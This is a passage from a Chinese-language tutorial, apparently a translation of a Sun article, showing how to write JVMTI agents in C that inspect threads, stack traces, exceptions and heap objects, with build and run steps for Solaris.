            * freed in the Agent_OnUnload() function.<br />
            */<br />
            static GlobalAgentData data;<br />
            (void)memset((void*)&amp;data, 0, sizeof(data));<br />
            gdata = &amp;data;<br />
            ...<br />
            /* Here we save the jvmtiEnv* for Agent_OnUnload(). */<br />
            gdata-&gt;jvmti = jvmti;<br />
            ...</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>我们在 <code><font face="新宋体">Agent_OnLoad()</font></code> 中创建一个原始监视器，然后把代码<code><font face="新宋体"> VM_INIT、VM_DEATH</font></code> <code><font face="新宋体">和 EXCEPTION</font></code> 包装于 JVMTI <code><font face="新宋体">RawMonitorEnter()</font></code> 和<code><font face="新宋体"> RawMonitorExit()</font></code> 接口 。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>/* Here we create a raw monitor for our use in this agent to<br />
            * protect critical sections of code.<br />
            */<br />
            error = (*jvmti)-&gt;CreateRawMonitor(jvmti, "agent data", &amp;(gdata-&gt;lock));<br />
            /* Enter a critical section by doing a JVMTI Raw Monitor Enter */<br />
            static void<br />
            enter_critical_section(jvmtiEnv *jvmti)<br />
            {<br />
            jvmtiError error;<br />
            error = (*jvmti)-&gt;RawMonitorEnter(jvmti, gdata-&gt;lock);<br />
            check_jvmti_error(jvmti, error, "Cannot enter with raw monitor");<br />
            }<br />
            /* Exit a critical section by doing a JVMTI Raw Monitor Exit */<br />
            static void<br />
            exit_critical_section(jvmtiEnv *jvmti)<br />
            {<br />
            jvmtiError error;<br />
            error = (*jvmti)-&gt;RawMonitorExit(jvmti, gdata-&gt;lock);<br />
            check_jvmti_error(jvmti, error, "Cannot exit with raw monitor");<br />
            }</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>卸载代理时<code><font face="新宋体">，VM </font></code>将调用<code><font face="新宋体"> Agent_OnUnload</font></code>。此函数用于清理在 <code><font face="新宋体">Agent_OnLoad</font></code> 期间分配的资源。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>/* Agent_OnUnload: This is called immediately before the shared library<br />
            * is unloaded. This is the last code executed.<br />
            */<br />
            JNIEXPORT void JNICALL Agent_OnUnload(JavaVM *vm)<br />
            {<br />
            /* Make sure all malloc/calloc/strdup space is freed */<br />
            }</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p><strong>使用 JVMTI 分析线程</strong></p>
<p>本节介绍如何获取关于在 JVM 中运行的用户线程的信息。如前所述，启动 JVM 时，JVMTI 代理库中的启动函数 <code><font face="新宋体">Agent_OnLoad</font></code> 将被调用。在 VM 初始化过程中，<code><font face="新宋体">JVMTI_EVENT_VM_INIT</font></code> 类型的 JVMTI Event 将生成并被发送到代理代码的 <code><font face="新宋体">callbackVMInit</font></code> 例程中。一旦 VM 初始化事件被接收（即 <code><font face="新宋体">调用VMInit</font></code> 回调），代理即可结束其初始化。现在，此代理可以自由调用任何 Java Native Interface (JNI) 或 JVMTI 函数。此时，我们已经处于活动阶段，将启用本 VMInit 回调例程中的 <code><font face="新宋体">Exception</font></code> 事件(<code><font face="新宋体">JVMTI_EVENT_EXCEPTION</font></code>)。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>error = (*jvmti)-&gt;SetEventNotificationMode<br />
            (jvmti, JVMTI_ENABLE, JVMTI_EVENT_EXCEPTION, (jthread)NULL);</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>无论何时，只要在<code><font face="新宋体"> Java </font></code>编程语言方法中首次探测到异常<code><font face="新宋体">，</font></code>就会生成<code><font face="新宋体"> Exception</font></code> 事件。此异常可能由 Java 编程语言抛出，也可能由本地方法抛出；但是如果由本地方法抛出，直到 Java 编程语言方法首次发现此异常时该事件才会生成。如果异常已被处理并清除，则异常事件不会生成。</p>
<p>出于演示目的，下面给出了所用的示例 Java 应用程序。主线程创建了 5 个线程，这 5 个线程退出前各自抛出一个异常。一旦启动 JVM<code><font face="新宋体">，JVMTI_EVENT_VM_INIT</font></code> 将生成并被发送到代理代码中进行处理，因为我们已经在代理代码中启用<code><font face="新宋体">了 VMInit</font></code> <code><font face="新宋体">和 Exception</font></code> 事件。随后，当 Java 线程抛出一个异常时，<code><font face="新宋体">JVMTI_EVENT_EXCEPTION</font></code> 将被发送到代理代码中。然后，代理代码 会分析此线程信息并显示当前线程名、它所属的线程组、此线程所拥有的监视器、线程状态、线程堆栈跟踪及 JVM 中的所有用户线程。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> public class SimpleThread {<br />
            static MyThread t;<br />
            public static void main(String args[]) throws Throwable{<br />
            t = new MyThread();<br />
            System.out.println("Creating and running 10 threads...");<br />
            for(int i = 0; i &lt; 5; i++) {<br />
            Thread thr = new Thread(t,"MyThread"+i);<br />
            thr.start();<br />
            try {<br />
            thr.join();<br />
            } catch (Throwable t) {<br />
            }<br />
            }<br />
            }<br />
            }<br />
            class MyThread implements Runnable {<br />
            Thread t;<br />
            public MyThread() {<br />
            }<br />
            public void run() {<br />
            /* NO-OP */<br />
            try {<br />
            "a".getBytes("ASCII");<br />
            throwException();<br />
            Thread.sleep(1000);<br />
            } catch (java.lang.InterruptedException e){<br />
            e.printStackTrace();<br />
            } catch (Throwable t) {<br />
            }<br />
            }<br />
            public void throwException() throws Throwable{<br />
            throw new Exception("Thread Exception from MyThread");<br />
            }<br />
            } </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>我们来看一下 Java 应用程序内部抛出一个异常时 JVMTI 代理代码的执行情况。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> throw new Exception("Thread Exception from MyThread");</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>JVMTI 异常事件生成后将被发送到代理代码的<code><font face="新宋体"> Exception</font></code> 回调例程中。代理必须添加<code><font face="新宋体"> can_generate_exception_events</font></code> 功能才能启用异常事件。我们使用 JVMTI <code><font face="新宋体">GetMethodName</font></code> 接口来显示生成异常的方法名和例程签名。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>err3 = (*jvmti)-&gt;GetMethodName(jvmti, method, &amp;name, &amp;sig, &amp;gsig);<br />
            printf("Exception in Method:%s%s\n", name, sig);</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>我们使用 JVMTI <code><font face="新宋体">GetThreadInfo</font></code> <code><font face="新宋体">和 GetThreadGroupInfo</font></code> 接口来显示当前线程和组详细信息。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>err = (*jvmti)-&gt;GetThreadInfo(jvmti, thr, &amp;info);<br />
            if (err == JVMTI_ERROR_NONE) {<br />
            err1 = (*jvmti)-&gt;GetThreadGroupInfo(jvmti,info.thread_group, &amp;groupInfo);<br />
            ...<br />
            if ((err == JVMTI_ERROR_NONE) &amp;&amp; (err1 == JVMTI_ERROR_NONE ))<br />
            {<br />
            printf("Got Exception event, Current Thread is : %s and Thread Group is: %s\n",<br />
            ((info.name==NULL) ? ""<br />
            : info.name), groupInfo.name);<br />
            }<br />
            }</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>这将在您的终端上产生以下输出：</p>
<p><strong>Got Exception event, Current Thread is : MyThread0 and Thread Group is: main</strong> </p>
<p>使用 JVMTI <code><font face="新宋体">GetOwnedMonitorInfo</font></code> 接口可以获取关于指定线程所拥有的监视器的信息。此函数 不要求挂起线程。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>err = (*jvmti)-&gt;GetOwnedMonitorInfo(jvmti, thr, &#957;m_monitors, &amp;arr_monitors);<br />
            printf("Number of Monitors returned : %d\n", num_monitors);<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>使用 JVMTI <code><font face="新宋体">GetThreadState</font></code> 接口可以获取线程的状态信息。</p>
<p>线程状态可以为以下值之一：</p>
<ul>
    <li>线程已终止 </li>
    <li>线程活动 </li>
    <li>线程可运行 </li>
    <li>线程休眠 </li>
    <li>线程在等待通知 </li>
    <li>线程处于对象等待状态 </li>
    <li>线程为本地状态 </li>
    <li>线程已挂起 </li>
    <li>线程已中断 </li>
</ul>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>err = (*jvmti)-&gt;GetThreadState(jvmti, thr, &amp;thr_st_ptr);<br />
            if ( thr_st_ptr &amp; JVMTI_THREAD_STATE_RUNNABLE ) {<br />
            printf("Thread: %s is Runnable\n", ((info.name==NULL) ? "" : info.name));<br />
            flag = 1;<br />
            }</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<div><strong>使用 JVMTI 显示 JVM 中的所有用户线程</strong></div>
<div class="contentdivider">
<table class="grey4" border="0" cellpadding="0" cellspacing="0">
    <tbody>
        <tr>
            <td><img alt=" " src="file:///D:/web/%E4%BD%BF%E7%94%A8%20Java%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%B7%A5%E5%85%B7%E6%8E%A5%E5%8F%A3%EF%BC%88JVMTI%EF%BC%89%E5%88%9B%E5%BB%BA%E8%B0%83%E8%AF%95%E5%92%8C%E5%88%86%E6%9E%90%E4%BB%A3%E7%90%86.files/a%281%29.gif" border="0" width="1" height="4" /></td>
        </tr>
    </tbody>
</table>
</div>
<p>JVMTI 函数<code><font face="新宋体"> GetAllThreads</font></code> 用于显示 JVM 已知的所有活动线程。这些线程是关联到 VM 的 Java 编程语言线程。</p>
<p>以下代码对此进行了说明：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> /* Get All Threads */<br />
            err = (*jvmti)-&gt;GetAllThreads(jvmti, &amp;thr_count, &amp;thr_ptr);<br />
            if (err != JVMTI_ERROR_NONE) {<br />
            printf("(GetAllThreads) Error expected: %d, got: %d\n", JVMTI_ERROR_NONE,  err);<br />
            describe(err);<br />
            printf("\n");<br />
            }<br />
            if (err == JVMTI_ERROR_NONE &amp;&amp; thr_count &gt;= 1) {<br />
            int i = 0;<br />
            printf("Thread Count: %d\n", thr_count);<br />
            for ( i=0; i &lt; thr_count; i++) {<br />
            /* Make sure the stack variables are garbage free */<br />
            (void)memset(&amp;info1,0, sizeof(info1));<br />
            err1 = (*jvmti)-&gt;GetThreadInfo(jvmti, thr_ptr[i], &amp;info1);<br />
            if (err1 != JVMTI_ERROR_NONE) {<br />
            printf("(GetThreadInfo) Error expected: %d, got: %d\n", JVMTI_ERROR_NONE, err1);<br />
            describe(err1);<br />
            printf("\n");<br />
            }<br />
            printf("Running Thread#%d: %s, Priority: %d, context class loader:%s\n", i+1,info1.name,<br />
            info1.priority,(info1.context_class_loader == NULL ? ": NULL" : "Not Null"));<br />
            /* Every string allocated by JVMTI needs to be freed */<br />
            err2 = (*jvmti)-&gt;Deallocate(jvmti, (void*)info1.name);<br />
            if (err2 != JVMTI_ERROR_NONE) {<br />
            printf("(GetThreadInfo) Error expected: %d, got: %d\n", JVMTI_ERROR_NONE, err2);<br />
            describe(err2);<br />
            printf("\n");<br />
            }<br />
            }<br />
            }</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>这将在您的终端上产生以下输出：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre><strong>Thread Count: 5</strong><br />
            <strong>Running Thread#1: MyThread4, Priority: 5, context class loader:Not Null</strong><br />
            <strong>Running Thread#2: Signal Dispatcher, Priority: 10, context class loader:Not Null</strong><br />
            <strong>Running Thread#3: Finalizer, Priority: 8, context class loader:: NULL</strong><br />
            <strong>Running Thread#4: Reference Handler, Priority: 10, context class loader:: NULL</strong><br />
            <strong>Running Thread#5: main, Priority: 5, context class loader:Not Null</strong><br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<div><strong><a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif);" name="obtaining"></a>获取 JVM 线程堆栈跟踪</strong></div>
<div class="contentdivider">
<table class="grey4" border="0" cellpadding="0" cellspacing="0">
    <tbody>
        <tr>
            <td><img alt=" " src="file:///D:/web/%E4%BD%BF%E7%94%A8%20Java%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%B7%A5%E5%85%B7%E6%8E%A5%E5%8F%A3%EF%BC%88JVMTI%EF%BC%89%E5%88%9B%E5%BB%BA%E8%B0%83%E8%AF%95%E5%92%8C%E5%88%86%E6%9E%90%E4%BB%A3%E7%90%86.files/a%281%29.gif" border="0" width="1" height="4" /></td>
        </tr>
    </tbody>
</table>
</div>
<p>JVMTI 接口<code><font face="新宋体"> GetStackTrace</font></code> 可用于获取关于线程堆栈的信息。如果<code><font face="新宋体"> max_count</font></code> 小于堆栈的深度，最深框架的 <code><font face="新宋体">max_count</font></code> 数将返回，否则返回整个堆栈。调用此函数无需挂起线程。</p>
<p>下例产生至多 5 个最深框架。如果存在任何框架，则还将输出当前执行的方法名。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>            /* Get Stack Trace */<br />
            err = (*jvmti)-&gt;GetStackTrace(jvmti, thr, 0, 5, &amp;frames, &amp;count);<br />
            if (err != JVMTI_ERROR_NONE) {<br />
            printf("(GetThreadInfo) Error expected: %d, got: %d\n", JVMTI_ERROR_NONE, err);<br />
            describe(err);<br />
            printf("\n");<br />
            }<br />
            printf("Number of records filled: %d\n", count);<br />
            if (err == JVMTI_ERROR_NONE &amp;&amp; count &gt;=1) {<br />
            char *methodName;<br />
            methodName = "yet_to_call()";<br />
            char *declaringClassName;<br />
            jclass declaring_class;<br />
            int i=0;<br />
            printf("Exception Stack Trace\n");<br />
            printf("=====================\n");<br />
            printf("Stack Trace Depth: %d\n", count);<br />
            for ( i=0; i &lt; count; i++) {<br />
            err = (*jvmti)-&gt;GetMethodName<br />
            (jvmti, frames[i].method, &amp;methodName, NULL, NULL);<br />
            if (err == JVMTI_ERROR_NONE) {<br />
            err = (*jvmti)-&gt;GetMethodDeclaringClass(jvmti, frames[i].method, &amp;declaring_class);<br />
            err = (*jvmti)-&gt;GetClassSignature(jvmti, declaring_class, &amp;declaringClassName, NULL);<br />
            if (err == JVMTI_ERROR_NONE) {<br />
            printf("at method %s() in class %s\n", methodName, declaringClassName);<br />
            }<br />
            }<br />
            }<br />
            }<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>这将使您的终端产生以下输出：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre><strong>Number of records filled: 3</strong><br />
            <strong>Thread Stack Trace</strong><br />
            <strong>=====================</strong><br />
            <strong>Stack Trace Depth: 3</strong><br />
            <strong>at method throwException() in class LmyThread;</strong><br />
            <strong>at method run() in class LMyThread;</strong><br />
            <strong>at method run() in class Ljava/lang/Thread;</strong><br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p><strong>使用 JVMTI 分析堆</strong></p>
<p>本节介绍如何获取关于使用堆的信息的示例代码。例如，我们已经按&#8220;代理初始化&#8221;一节中所述为 VM Object Allocation
事件进行了注册。当 JVM 分配了 Java 编程语言可见但其他工具机制不能探测到的对象时，我们将得到通知。这一点与 JVMPI
截然不同，JVMPI 在分配任何对象时都将发送事件。在 JVMTI
中，针对用户分配的对象不会发送任何事件，因为它期望使用的是字节码工具。例如，在 <em>SimpleThread.java</em> 程序中，分配 <code><font face="新宋体">MyThread</font></code> <code><font face="新宋体">或 Thread</font></code> 对象时，我们是不会得到通知的。以后将单独发表一篇文章，描写如何使用字节码工具获取此信息。</p>
<p>VM Object Allocation 事件对于确定有关由 JVM 分配的对象的信息十分有用。在<code><font face="新宋体"> Agent_OnLoad</font></code> 方法中，我们将<code><font face="新宋体"> callbackVMObjectAlloc</font></code> 注册为发送 VM Object Allocation 事件时调用的函数。回调函数参数包含关于已分配对象的信息，如对象类和对象大小的 JNI 本地参考。借助于<code><font face="新宋体"> jclass</font></code> 参数<code><font face="新宋体"> object_klass</font></code>，我们可以使用<code><font face="新宋体"> GetClassSignature</font></code> 函数获取关于类名的信息。我们可以把下面给出的对象类及其大小打印出来。注意避免过多的输出，我们仅需输出超过 50 个字节的对象信息就行了。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>/* Callback function for VM Object Allocation events */<br />
            static void JNICALL callbackVMObjectAlloc<br />
            (jvmtiEnv *jvmti_env, JNIEnv* jni_env, jthread thread,<br />
            jobject object, jclass object_klass, jlong size) {<br />
            ...<br />
            char *className;<br />
            ...<br />
            if (size &gt; 50) {<br />
            err = (*jvmti)-&gt;GetClassSignature(jvmti, object_klass, &amp;className, NULL);<br />
            if (className != NULL) {<br />
            printf("\ntype %s object allocated with size %d\n", className, (jint)size);<br />
            }<br />
            ...<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>我们使用<a href="http://gceclub.sun.com.cn/staticcontent/html/2004-07-29/jvmti.html#obtaining">上面</a>所介绍的<code><font face="新宋体"> GetStackTrace</font></code> 方法来输出正在分配该对象的线程的堆栈跟踪。我们依照该节所述获取指定深度的 框架。这些框架将作为<code><font face="新宋体"> jvmtiFrameInfo</font></code> 结构返回，这些结构包含每个框架的<code><font face="新宋体"> jmethodID</font></code>（即<code><font face="新宋体"> frames[x].method</font></code>）。<code><font face="新宋体">GetMethodName</font></code> 函数可以将<code><font face="新宋体"> jmethodID</font></code> 映射到特殊的方法名中。在此示例的最后部分，我们还将使用<code><font face="新宋体"> GetMethodDeclaringClass</font></code> <code><font face="新宋体">和 GetClassSignature</font></code> 函数获取从其中调用过此方法的类的名称。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>char *methodName;<br />
            char *declaringClassName;<br />
            jclass declaring_class;<br />
            jvmtiError err;<br />
            //print stack trace<br />
            jvmtiFrameInfo frames[5];<br />
            jint count;<br />
            int i;<br />
            err = (*jvmti)-&gt;GetStackTrace(jvmti, NULL, 0, 5, &amp;frames, &amp;count);<br />
            if (err == JVMTI_ERROR_NONE &amp;&amp; count &gt;= 1) {<br />
            for (i = 0; i &lt; count; i++) {<br />
            err = (*jvmti)-&gt;GetMethodName(jvmti, frames[i].method, &amp;methodName, NULL, NULL);<br />
            if (err == JVMTI_ERROR_NONE) {<br />
            err = (*jvmti)-&gt;GetMethodDeclaringClass(jvmti, frames[i].method, &amp;declaring_class);<br />
            err = (*jvmti)-&gt;GetClassSignature(jvmti, declaring_class, &amp;declaringClassName, NULL);<br />
            if (err == JVMTI_ERROR_NONE) {<br />
            printf("at method %s in class %s\n", methodName, declaringClassName);<br />
            }<br />
            }<br />
            }<br />
            }<br />
            ...<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>注意，完成任务时应释放由这些函数分配给<code><font face="新宋体"> char</font></code> 数组的内存：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> err = (*jvmti)-&gt;Deallocate(jvmti, (void*)className);<br />
            err = (*jvmti)-&gt;Deallocate(jvmti, (void*)methodName);<br />
            err = (*jvmti)-&gt;Deallocate(jvmti, (void*)declaringClassName);<br />
            ...<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>此代码的输出如下所示：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre><strong>type Ljava/lang/reflect/Constructor; object allocated with size 64</strong><br />
            <strong>at method getDeclaredConstructors0 in class Ljava/lang/Class;</strong><br />
            <strong>at method privateGetDeclaredConstructors in class Ljava/lang/Class;</strong><br />
            <strong>at method getConstructor0 in class Ljava/lang/Class;</strong><br />
            <strong>at method getDeclaredConstructor in class Ljava/lang/Class;</strong><br />
            <strong>at method run in class Ljava/util/zip/ZipFile$1;</strong><br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>原始类的返回名称是相应原始类型的签名字符类型。例如，<code><font face="新宋体">java.lang.Integer.TYPE</font></code> 为&#8220;I&#8221;。</p>
<p>在 VM Object Allocation 的回调方法中，我们仍将使用<code><font face="新宋体"> IterateOverObjectsReachableFromObject</font></code> 函数演示如何获取关于堆的附加信息。在此示例中，我们将 JNI 参考作为一个参数传递给刚刚分配的对象，该函数将在此新分配对象所能直接或间接到达的所有对象中迭代。对于每个可到达的对象，另外还有一个定义的回调函数可对其进行描述。在此示例中，传递到 <code><font face="新宋体">IterateOverObjectsReachableFromObject</font></code> 的回调函数名为<code><font face="新宋体"> reference_object</font></code>：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>err = (*jvmti)-&gt;IterateOverObjectsReachableFromObject<br />
            (jvmti, object, &amp;reference_object, NULL);<br />
            if ( err != JVMTI_ERROR_NONE ) {<br />
            printf("Cannot iterate over reachable objects\n");<br />
            }<br />
            ...</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p><code><font face="新宋体">reference_object</font></code> 函数定义如下：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>/* JVMTI callback function. */<br />
            static jvmtiIterationControl JNICALL<br />
            reference_object(jvmtiObjectReferenceKind reference_kind,<br />
            jlong class_tag, jlong size, jlong* tag_ptr,<br />
            jlong referrer_tag, jint referrer_index, void *user_data)<br />
            {<br />
            ...<br />
            return JVMTI_ITERATION_CONTINUE;<br />
            }<br />
            ...</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>在此示例中，我们使用<code><font face="新宋体"> IterateOverObjectsReachableFromObject</font></code> 函数计算新分配对象所能到达的所有对象的 总的大小，以及它们的对象类型。对象类型可以从<code><font face="新宋体"> reference_kind</font></code> 参数中确定。然后打印此信息以接收如下输出：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre><strong>This object has references to objects of combined size 21232</strong><br />
            <strong>This includes 45 classes, 9 fields, 1 arrays, 0 classloaders, 0 signers arrays,</strong><br />
            <strong>0 protection domains, 19 interfaces, 13 static fields, and 2 constant pools.</strong><br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>注意，位于 JVMTI
中的类似迭代函数允许迭代的对象有：整个堆（可到达的和不可到达的）；根目录对象和根目录对象所能直接或间接到达的所有对象；堆中
是指定类的实例的所有对象。使用这些函数的技巧和前面所介绍的类似。在执行这些函数期间，堆的状态没有任何变化：没有分配任何对象，没有对任何对象进行垃
圾收集，并且对象的状态（包括堆值）也没有任何变化。结果，执行 Java 编程语言代码的线程、尝试恢复执行 Java
编程语言代码的线程和尝试执行 JNI 函数的线程都完全停了下来。所以，在对象参考回调函数中，不能使用任何 JNI
函数；在没有特别允许的情况下，也不允许使用任何 JVMTI 函数。</p>
<p><strong>编译和执行示例代码</strong></p>
<p>要编译并运行这里描述的示例应用程序的代码，请按以下步骤操作：</p>
<ol>
    <li>设置 JDK_PATH 为指向 J2SE 1.5 发行版<br />
    <!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
    <table class="grey4" border="0" cellpadding="10" cellspacing="0">
        <tbody>
            <tr>
                <td>
                <pre>JDK_PATH="/home/xyz/j2sdk1.5.0/bin"</pre>
                </td>
            </tr>
        </tbody>
    </table>
    <br />
    <br />
    <!-- END VCD7 CODE SAMPLE COMPONENT  --></li>
    <li>使用 C 语言编译器构建共享库。我们使用的是 Sun Studio 8 C 编译器。<br />
    <!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
    <table class="grey4" border="0" cellpadding="10" cellspacing="0">
        <tbody>
            <tr>
                <td>
                <pre>CC="/net/compilers/S1Studio_8.0/SUNWspro/bin/cc"<br />
                echo "...creating liba.so"<br />
                ${CC} -G -KPIC -o liba.so<br />
                -I${JDK_PATH}/include -I${JDK_PATH}/include/solaris a.c<br />
                </pre>
                </td>
            </tr>
        </tbody>
    </table>
    <br />
    <br />
    <!-- END VCD7 CODE SAMPLE COMPONENT  --></li>
    <li>要加载并运行代理库，请在 VM 启动过程中使用下面的命令行参数之一。<br />
    <!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
    <table class="grey4" border="0" cellpadding="10" cellspacing="0">
        <tbody>
            <tr>
                <td>
                <pre>-agentlib:&lt;jvmti-agent-library-name&gt;<br />
                -agentpath:/home/foo/jvmti/&lt;jvmti-agent-library-name&gt;<br />
                </pre>
                </td>
            </tr>
        </tbody>
    </table>
    <br />
    <br />
    <!-- END VCD7 CODE SAMPLE COMPONENT  -->然后如下运行示例 Java 应用程序：<br />
    <!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
    <table class="grey4" border="0" cellpadding="10" cellspacing="0">
        <tbody>
            <tr>
                <td>
                <pre>echo "...creating SimpleThread.class"<br />
                ${JDK_PATH}/bin/javac -g -d . SimpleThread.java<br />
                echo "...running SimpleThread.class"<br />
                LD_LIBRARY_PATH=. CLASSPATH=. ${JDK_PATH}/bin/java<br />
                -showversion -agentlib:a SimpleThread<br />
                </pre>
                </td>
            </tr>
        </tbody>
    </table>
    <br />
    <br />
    <!-- END VCD7 CODE SAMPLE COMPONENT  --></li>
</ol>
<p><strong>注意：此示例代理代码是在 Solaris 9 Operating System<strong> </strong>上构建和测试的。</strong></p>
<p><strong>结束语</strong></p>
<p>在本文中，我们演示了 JVMTI 提供用于监控和管理 JVM 的一些接口。JVMTI 规范 (JSR-163) 旨在为需要访问 VM 状态的广泛的工具提供一个 VM 接口，这些工具包括但不限于：分析、调试、监控、线程分析和覆盖率分析工具。</p>
<p><a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif);" name="writingAgents"></a><strong>建议开发人员不要使用 JVMPI 接口开发工具或调试实用工具，因为 JVMPI 是一种不受支持的实验技术。应考虑使用 JVMTI 编写 Java 虚拟机的所有分析和管理工具。</strong></p>
